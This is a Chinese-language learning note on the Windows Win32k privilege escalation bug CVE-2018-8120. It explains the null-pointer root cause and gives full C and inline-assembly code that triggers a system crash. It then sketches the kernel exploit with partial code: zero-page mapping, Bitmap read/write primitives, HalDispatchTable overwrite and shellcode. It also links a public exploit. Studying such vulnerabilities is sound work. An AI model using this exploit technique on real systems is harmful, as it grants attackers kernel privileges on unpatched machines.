参考:
https://www.freebuf.com/vuls/174183.html
https://www.freebuf.com/column/180215.html
漏洞名称:Windows 特权提升漏洞
漏洞编号: CVE-2018-8120
披露日期:2018-03-14
描述:当Win32k组件无法正确处理内存中的对象(也称为“ Win32k特权提升漏洞”)时,Windows中存在一个特权提升漏洞
影响版本:Windows Server 2008,Windows 7,Windows Server2008
漏洞成因:部分版本Windows系统win32k.sys组件的NtUserSetImeInfoEx()系统服务函数内部未验证内核对象中的空指针对象,普通应用程序可利用该空指针漏洞以内核权限执行任意代码。
漏洞函数位于win32k.sys模块的SetImeInfoEx() 函数, 该函数在使用一个内核对象的字段之前并没有进行是否为空的判断,当该值为空时,函数直接读取零地址内存。如果在当前进程环境中没有映射零页面,该函数将触发页面错误异常,导致系统蓝屏发生。
使用CreateWindowStation() 新建的WindowStation对象其偏移0×14位置的spklList字段的值默认是零。
根据SetImeInfoEx()函数的流程,当WindowStation->spklList字段为0,函数继续执行将触发0地址访问异常。
实验环境:Win7 Sp1 x32
550=0x226
系统调用编号=0x1000+0x226=0x1226
蓝屏代码:
#include<stdio.h>
#include<Windows.h>
DWORD gSyscall = 0x1226;
__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp)
{
_asm
{
mov esi, tmp;
mov eax, gSyscall;
mov edx, 0x7FFE0300;
call dword ptr[edx];
ret 4;
}
}
int main()
{
// 新建一个新的窗口,新建的WindowStation对象其偏移0x14位置的spklList字段的值默认是零
HWINSTA hSta = CreateWindowStation(
0, //LPCSTR lpwinsta
0, //DWORD dwFlags
READ_CONTROL, //ACCESS_MASK dwDesiredAccess
0 //LPSECURITY_ATTRIBUTES lpsa
);
// 和窗口当前进程关联起来
SetProcessWindowStation(hSta);
char buf[0x4];
memset(buf, 0x41, sizeof(buf));
// WindowStation->spklList字段为0,函数继续执行将触发0地址访问异常
NtUserSetImeInfoEx((PVOID)&buf);
return 0;
}
原因出自win32k;
漏洞利用:
首先解决映射零页面问题:
当分配0页内存后就不会蓝屏
零地址处的内存分页完成映射,则函数将继续执行。
漏洞产生函数后续执行过程中会执行内存拷贝,且拷贝源属于用户可控内容(我们这里能做手脚的就是给NtUserSetImeInfoEx函数传入的参数)。如果拷贝目标可控,则可以实现任意内存地址写入(且漏洞函数运行在内核权限, 内核空间与用户空间内存均有权限读写)。至此,如果可以实现任意内存地址写入(滥用Bitmap对象达到任意地址的读和写),则可以通过覆盖系统服务函数指针的方式, 实现任意代码执行。
加上以下代码后触发漏洞向0页写入Manager的pvScan0 Worker的pvScan0
然后获取到HaliQuerySystemInformation的地址(代码太长不贴)后再加上以下代码
SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //HaliQuerySystemInformation()函数地址放到Manager的地址
算了一个个贴太麻烦了 最后的利用
_asm int 3;
SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //HaliQuerySystemInformation()函数地址放到Manager的地址
_asm int 3;
GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);
_asm int 3;
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc); //将shellcode放到的HaliQuerySystemInformation地址
_asm int 3;
NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hntdll, "NtQueryIntervalProfile");
if (!NtQueryIntervalProfile) {
fflush(stdout);
fflush(stderr);
printf("[-] Fail to resolve NtQueryIntervalProfile(0x%X)\n", GetLastError());
ExitProcess(2);
}
SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);//善后工作
提权
exp:https://github.com/unamer/CVE-2018-8120
学习总结:
遇到空指针漏洞 分配0页内存解决验证
获取HalDispatchTable表的函数地址加载到模块根据系统版本来定 比如 是否多核是否 支持pae
利用漏洞和gdi泄露达到精准读写内存
另外不得不感叹下 前辈们的技术 这个exp着实让我受益匪浅 原来还可以这样写